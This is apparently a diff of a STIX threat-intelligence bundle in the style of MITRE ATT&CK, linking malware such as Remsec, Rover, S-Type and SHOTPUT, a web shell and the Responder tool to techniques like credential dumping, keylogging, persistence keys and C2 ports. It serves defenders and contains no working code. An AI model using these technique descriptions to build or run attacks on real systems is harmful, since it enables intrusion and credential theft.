             "source_ref": "malware--69d6f4a9-fcf0-4f51-bca7-597c51ad0bb8",
@@ -49601,7 +59267,7 @@
             "id": "relationship--ea61c268-d0d1-4cbe-8b26-16f70f515a04",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Remsec has a plugin to detect active drivers of some security products.",
             "source_ref": "malware--69d6f4a9-fcf0-4f51-bca7-597c51ad0bb8",
@@ -49622,7 +59288,7 @@
             "id": "relationship--131fde9c-7a83-4603-9c1e-c41f815fb14c",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Remsec has a plugin to drop and execute vulnerable Outpost Sandbox or avast! Virtualization drivers in order to gain kernel mode privileges.",
             "source_ref": "malware--69d6f4a9-fcf0-4f51-bca7-597c51ad0bb8",
@@ -49643,7 +59309,7 @@
             "id": "relationship--bd5b4264-1f10-4cd5-b7b0-a6a8b9dad7c3",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Remsec can obtain information about network configuration, including the routing table, ARP cache, and DNS cache.",
             "source_ref": "malware--69d6f4a9-fcf0-4f51-bca7-597c51ad0bb8",
@@ -49664,7 +59330,7 @@
             "id": "relationship--24bce281-7858-4a42-bfd6-601800fb63f7",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Remsec can obtain a list of active connections and open ports.",
             "source_ref": "malware--69d6f4a9-fcf0-4f51-bca7-597c51ad0bb8",
@@ -49685,7 +59351,7 @@
             "id": "relationship--51742efe-5f0c-4fbf-9eb7-5e765a0a408f",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Remsec can ping or traceroute a remote host.",
             "source_ref": "malware--69d6f4a9-fcf0-4f51-bca7-597c51ad0bb8",
@@ -49706,7 +59372,7 @@
             "id": "relationship--3076f49e-0db2-4652-a07d-653027aeef1e",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Remsec can obtain a process list from the victim.",
             "source_ref": "malware--69d6f4a9-fcf0-4f51-bca7-597c51ad0bb8",
@@ -49727,20 +59393,15 @@
             "id": "relationship--852009ed-1b50-4b08-9e77-53f0271d995c",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
-            "description": "Remsec can dump the SAM database. It also can register itself as a Windows Local System Authority password filter on domain controllers, which allows it to harvest passwords when users change passwords.",
+            "description": "Remsec can dump the SAM database.",
             "source_ref": "malware--69d6f4a9-fcf0-4f51-bca7-597c51ad0bb8",
             "target_ref": "attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22",
             "object_marking_refs": [
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "external_references": [
-                {
-                    "source_name": "Kaspersky ProjectSauron Full Report",
-                    "description": "Kaspersky Lab's Global Research & Analysis Team. (2016, August 9). The ProjectSauron APT. Retrieved August 17, 2016.",
-                    "url": "https://securelist.com/files/2016/07/The-ProjectSauron-APT%20research%20KL.pdf"
-                },
                 {
                     "source_name": "Kaspersky ProjectSauron Technical Analysis",
                     "description": "Kaspersky Lab's Global Research & Analysis Team. (2016, August 9). The ProjectSauron APT. Technical Analysis. Retrieved August 17, 2016.",
@@ -49753,7 +59414,7 @@
             "id": "relationship--9b36e877-e637-46b8-bdf1-def74c977472",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Remsec can obtain the OS version information, computer name, processor architecture, machine role, and OS edition.",
             "source_ref": "malware--69d6f4a9-fcf0-4f51-bca7-597c51ad0bb8",
@@ -49774,7 +59435,7 @@
             "id": "relationship--9e587add-08b7-4ecb-a40a-664b9cff1d0f",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Remsec can obtain a list of users.",
             "source_ref": "malware--69d6f4a9-fcf0-4f51-bca7-597c51ad0bb8",
@@ -49795,7 +59456,7 @@
             "id": "relationship--8baf3f0d-0ab4-4691-8ef7-8b9af8a8069c",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Remsec can add or remove applications or ports on the Windows firewall or disable it entirely.",
             "source_ref": "malware--69d6f4a9-fcf0-4f51-bca7-597c51ad0bb8",
@@ -49816,7 +59477,7 @@
             "id": "relationship--d1222ff7-b93c-40a7-99bd-217d795d8d58",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Remsec can obtain information about the current user.",
             "source_ref": "malware--69d6f4a9-fcf0-4f51-bca7-597c51ad0bb8",
@@ -49837,7 +59498,7 @@
             "id": "relationship--11247a95-272b-4ae2-8dae-2cd049328734",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Remsec can perform DLL injection.",
             "source_ref": "malware--69d6f4a9-fcf0-4f51-bca7-597c51ad0bb8",
@@ -49858,7 +59519,7 @@
             "id": "relationship--8e7ff07b-7a32-4ced-ac22-b523586dbde3",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Remsec has a package that collects documents from any inserted USB sticks.",
             "source_ref": "malware--69d6f4a9-fcf0-4f51-bca7-597c51ad0bb8",
@@ -49874,12 +59535,75 @@
                 }
             ]
         },
+        {
+            "type": "relationship",
+            "id": "relationship--46f301cd-8ae3-431a-931b-df4bb4fee271",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "Remsec harvests plain-text credentials as a password filter registered on domain controllers.",
+            "source_ref": "malware--69d6f4a9-fcf0-4f51-bca7-597c51ad0bb8",
+            "target_ref": "attack-pattern--b8c5c9dd-a662-479d-9428-ae745872537c",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "Kaspersky ProjectSauron Full Report",
+                    "description": "Kaspersky Lab's Global Research & Analysis Team. (2016, August 9). The ProjectSauron APT. Retrieved August 17, 2016.",
+                    "url": "https://securelist.com/files/2016/07/The-ProjectSauron-APT%20research%20KL.pdf"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--aef7fe44-f381-41d5-88af-f04135e3aeab",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "is used to poison name services to gather hashes and credentials from systems within a local network.",
+            "source_ref": "tool--a1dd2dbd-1550-44bf-abcc-1a4c52e97719",
+            "target_ref": "attack-pattern--0dbf5f1b-a560-4d51-ac1b-d70caab3e1f0",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "GitHub Responder",
+                    "description": "Gaffie, L. (2016, August 25). Responder. Retrieved November 17, 2017.",
+                    "url": "https://github.com/SpiderLabs/Responder"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--9c012fcf-876b-4101-aa28-6af8b00a51d2",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "captures hashes and credentials that are sent to the system after the name services have been poisoned.",
+            "source_ref": "tool--a1dd2dbd-1550-44bf-abcc-1a4c52e97719",
+            "target_ref": "attack-pattern--3257eb21-f9a7-4430-8de1-d8b6e288f529",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "GitHub Responder",
+                    "description": "Gaffie, L. (2016, August 25). Responder. Retrieved November 17, 2017.",
+                    "url": "https://github.com/SpiderLabs/Responder"
+                }
+            ]
+        },
         {
             "type": "relationship",
             "id": "relationship--6184b127-47cf-43fc-880b-890554d9cc9a",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Rover takes screenshots of the compromised system's desktop and saves them to <code>C:\\system\\screenshot.bmp</code> for exfiltration every 60 minutes.",
             "source_ref": "malware--6b616fc1-1505-48e3-8b2c-0d19337bff38",
@@ -49900,7 +59624,7 @@
             "id": "relationship--f4480854-9424-49d5-8b54-f839302e3ee7",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Rover has keylogging functionality.",
             "source_ref": "malware--6b616fc1-1505-48e3-8b2c-0d19337bff38",
@@ -49921,7 +59645,7 @@
             "id": "relationship--7c792d18-25a3-4d85-be44-93523228748c",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Rover searches for files on local drives based on a predefined list of file extensions.",
             "source_ref": "malware--6b616fc1-1505-48e3-8b2c-0d19337bff38",
@@ -49942,7 +59666,7 @@
             "id": "relationship--6d87588e-2202-4616-a536-e43a2606721b",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Rover searches for files on attached removable drives based on a predefined list of file extensions every five seconds.",
             "source_ref": "malware--6b616fc1-1505-48e3-8b2c-0d19337bff38",
@@ -49963,7 +59687,7 @@
             "id": "relationship--9cef6fec-e4eb-49eb-85db-880138f335bd",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Rover copies files from removable drives to <code>C:\\system</code>.",
             "source_ref": "malware--6b616fc1-1505-48e3-8b2c-0d19337bff38",
@@ -49984,7 +59708,7 @@
             "id": "relationship--0f5d3626-1dc2-4ebe-ba37-3f86ab0df9ec",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Rover persists by creating a Registry entry in <code>HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\</code>.",
             "source_ref": "malware--6b616fc1-1505-48e3-8b2c-0d19337bff38",
@@ -50005,7 +59729,7 @@
             "id": "relationship--bad90106-a150-4d76-b39f-f35aab4ac766",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Rover has functionality to remove Registry Run key persistence as a cleanup procedure.",
             "source_ref": "malware--6b616fc1-1505-48e3-8b2c-0d19337bff38",
@@ -50026,7 +59750,7 @@
             "id": "relationship--121a09bd-f603-4476-a149-a3cba52f268c",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Rover automatically collects files from the local system and removable drives based on a predefined list of file extensions on a regular timeframe.",
             "source_ref": "malware--6b616fc1-1505-48e3-8b2c-0d19337bff38",
@@ -50047,7 +59771,7 @@
             "id": "relationship--59261bc8-0220-4e37-8018-7a3618a5dd1b",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Rover automatically searches for files on local drives based on a predefined list of file extensions and sends them to the command and control server every 60 minutes. Rover also automatically sends keylogger files and screenshots to the C2 server on a regular timeframe.",
             "source_ref": "malware--6b616fc1-1505-48e3-8b2c-0d19337bff38",
@@ -50068,7 +59792,7 @@
             "id": "relationship--e90717f3-fad2-4978-be15-7dfb647d034d",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Rover automatically searches for files on local drives based on a predefined list of file extensions.",
             "source_ref": "malware--6b616fc1-1505-48e3-8b2c-0d19337bff38",
@@ -50089,7 +59813,7 @@
             "id": "relationship--6d819560-bdfb-4e0a-bf56-fddcba60cdb5",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "S-Type may create a temporary user on the system named \u201cLost_{Unique Identifier}\u201d with the password \u201cpond~!@6\u201d{Unique Identifier}.\u201d",
             "source_ref": "malware--66b1dcde-17a0-4c7b-95fa-b08d430c2131",
@@ -50110,7 +59834,7 @@
             "id": "relationship--11874e26-e692-43da-bb54-760e51a4714f",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "S-Type may save itself as a file named msdtc.exe, which is also the name of the legitimate Microsoft Distributed Transaction Coordinator service.",
             "source_ref": "malware--66b1dcde-17a0-4c7b-95fa-b08d430c2131",
@@ -50136,7 +59860,7 @@
             "id": "relationship--d067b113-4584-419f-860b-d3184f734350",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "S-Type may create a .lnk file to itself that is saved in the Start menu folder. It may also create the Registry key <code>HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\ IMJPMIJ8.1{3 characters of Unique Identifier}</code>.",
             "source_ref": "malware--66b1dcde-17a0-4c7b-95fa-b08d430c2131",
@@ -50157,7 +59881,7 @@
             "id": "relationship--907df22e-fdfe-4b93-8b18-ebf66f83868c",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "S-Type may create the file <code>%HOMEPATH%\\Start Menu\\Programs\\Startup\\Realtek {Unique Identifier}.lnk</code>, which points to the malicious msdtc.exe file already created in the %CommonFiles% directory.",
             "source_ref": "malware--66b1dcde-17a0-4c7b-95fa-b08d430c2131",
@@ -50178,7 +59902,7 @@
             "id": "relationship--09e8b282-61ee-4107-94f5-d03e28199fe9",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "S-Type uses ports 80, 443, and 8080 for C2.",
             "source_ref": "malware--66b1dcde-17a0-4c7b-95fa-b08d430c2131",
@@ -50199,7 +59923,7 @@
             "id": "relationship--813e4416-bee6-4192-a712-6b5f80a7fff3",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "S-Type uses Base64 encoding for C2 traffic.",
             "source_ref": "malware--66b1dcde-17a0-4c7b-95fa-b08d430c2131",
@@ -50220,7 +59944,7 @@
             "id": "relationship--abee00d3-8417-468b-84a4-40c7d0ac4f7d",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "S-Type runs the command <code>net start</code> on a victim.",
             "source_ref": "malware--66b1dcde-17a0-4c7b-95fa-b08d430c2131",
@@ -50241,7 +59965,7 @@
             "id": "relationship--4d4c8221-17a9-4e5b-86f9-6a0cffc42424",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "S-Type uses HTTP for C2.",
             "source_ref": "malware--66b1dcde-17a0-4c7b-95fa-b08d430c2131",
@@ -50262,7 +59986,7 @@
             "id": "relationship--4b23ac99-3761-46f0-ad5d-2cf63a95036a",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "S-Type primarily uses port 80 for C2, but falls back to ports 443 or 8080 if initial communication fails.",
             "source_ref": "malware--66b1dcde-17a0-4c7b-95fa-b08d430c2131",
@@ -50283,7 +60007,7 @@
             "id": "relationship--7fbb56bf-cadd-4663-8067-f233d4c9c751",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "The initial beacon packet for S-Type contains the operating system version and file system of the victim.",
             "source_ref": "malware--66b1dcde-17a0-4c7b-95fa-b08d430c2131",
@@ -50304,7 +60028,7 @@
             "id": "relationship--fb0aef48-57f5-4331-acdd-25fdfdf1babb",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "S-Type runs the command <code>net user</code> on a victim. S-Type also runs tests to determine the privilege level of the compromised user.",
             "source_ref": "malware--66b1dcde-17a0-4c7b-95fa-b08d430c2131",
@@ -50320,12 +60044,96 @@
                 }
             ]
         },
+        {
+            "type": "relationship",
+            "id": "relationship--bbe37d7e-ad35-4c74-a57c-9a398ef6b1be",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "is a Web shell.",
+            "source_ref": "malware--0998045d-f96e-4284-95ce-3c8219707486",
+            "target_ref": "attack-pattern--c16e5409-ee53-4d79-afdc-4099dc9292df",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "FireEye APT34 Webinar Dec 2017",
+                    "description": "Davis, S. and Caban, D. (2017, December 19). APT34 - New Targeted Attack in the Middle East. Retrieved December 20, 2017.",
+                    "url": "https://www.brighttalk.com/webcast/10703/296317/apt34-new-targeted-attack-in-the-middle-east"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--04ecc705-0027-4dda-85fe-d6ce028ef05e",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "can download remote files onto victims.",
+            "source_ref": "malware--0998045d-f96e-4284-95ce-3c8219707486",
+            "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "FireEye APT34 Webinar Dec 2017",
+                    "description": "Davis, S. and Caban, D. (2017, December 19). APT34 - New Targeted Attack in the Middle East. Retrieved December 20, 2017.",
+                    "url": "https://www.brighttalk.com/webcast/10703/296317/apt34-new-targeted-attack-in-the-middle-east"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--7276fbbe-3237-4e95-b2ad-8518327432ba",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "can execute commands on victims.",
+            "source_ref": "malware--0998045d-f96e-4284-95ce-3c8219707486",
+            "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "FireEye APT34 Webinar Dec 2017",
+                    "description": "Davis, S. and Caban, D. (2017, December 19). APT34 - New Targeted Attack in the Middle East. Retrieved December 20, 2017.",
+                    "url": "https://www.brighttalk.com/webcast/10703/296317/apt34-new-targeted-attack-in-the-middle-east"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--6d562520-86bb-4251-9431-a4958bec097c",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "can timestomp files on victims using a Web shell.",
+            "source_ref": "malware--0998045d-f96e-4284-95ce-3c8219707486",
+            "target_ref": "attack-pattern--128c55d3-aeba-469f-bd3e-c8996ab4112a",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "FireEye APT34 Webinar Dec 2017",
+                    "description": "Davis, S. and Caban, D. (2017, December 19). APT34 - New Targeted Attack in the Middle East. Retrieved December 20, 2017.",
+                    "url": "https://www.brighttalk.com/webcast/10703/296317/apt34-new-targeted-attack-in-the-middle-east"
+                }
+            ]
+        },
         {
             "type": "relationship",
             "id": "relationship--114f98a4-6243-4a0c-a6c4-3e693a4f9b08",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "APT30 may have used the SHIPSHAPE malware to move onto air-gapped networks. SHIPSHAPE targets removable drives to spread to other systems by modifying the drive to use Autorun to execute or by hiding legitimate document files and copying an executable to the folder with the same name as the legitimate document.",
             "source_ref": "malware--b1de6916-7a22-4460-8d26-6b5483ffaa2a",
@@ -50346,7 +60154,7 @@
             "id": "relationship--093215eb-4edb-4c55-bb5f-b8ca2de7962c",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "SHIPSHAPE achieves persistence by creating a shortcut in the Startup folder.",
             "source_ref": "malware--b1de6916-7a22-4460-8d26-6b5483ffaa2a",
@@ -50367,7 +60175,7 @@
             "id": "relationship--97ff5931-f27f-4774-b595-312f5771f91a",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "SHIPSHAPE achieves persistence by creating a shortcut in the Startup folder.",
             "source_ref": "malware--b1de6916-7a22-4460-8d26-6b5483ffaa2a",
@@ -50388,7 +60196,7 @@
             "id": "relationship--315aab88-9b01-4a70-8f8c-173a3f29e79c",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "SHOTPUT is obscured using XOR encoding and appended to a valid GIF file.",
             "source_ref": "malware--58adaaa8-f1e8-4606-9a08-422e568461eb",
@@ -50414,7 +60222,7 @@
             "id": "relationship--c8ce3bcd-b74f-497d-8f76-cc8c7333ab49",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "SHOTPUT has a command to obtain a process listing.",
             "source_ref": "malware--58adaaa8-f1e8-4606-9a08-422e568461eb",
@@ -50435,7 +60243,7 @@
             "id": "relationship--9ea25bfb-3e3a-42cb-8d2a-939169057806",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "SHOTPUT has a command to list all servers in the domain, as well as one to locate domain controllers on a domain.",
             "source_ref": "malware--58adaaa8-f1e8-4606-9a08-422e568461eb",
@@ -50456,7 +60264,7 @@
             "id": "relationship--a5efdeb3-10db-4e40-b8cd-61dee7d72cc0",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "SHOTPUT uses netstat to list TCP connection status.",
             "source_ref": "malware--58adaaa8-f1e8-4606-9a08-422e568461eb",
@@ -50477,7 +60285,7 @@
             "id": "relationship--33630ee4-24dc-4339-b29f-3d8b39e7daae",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
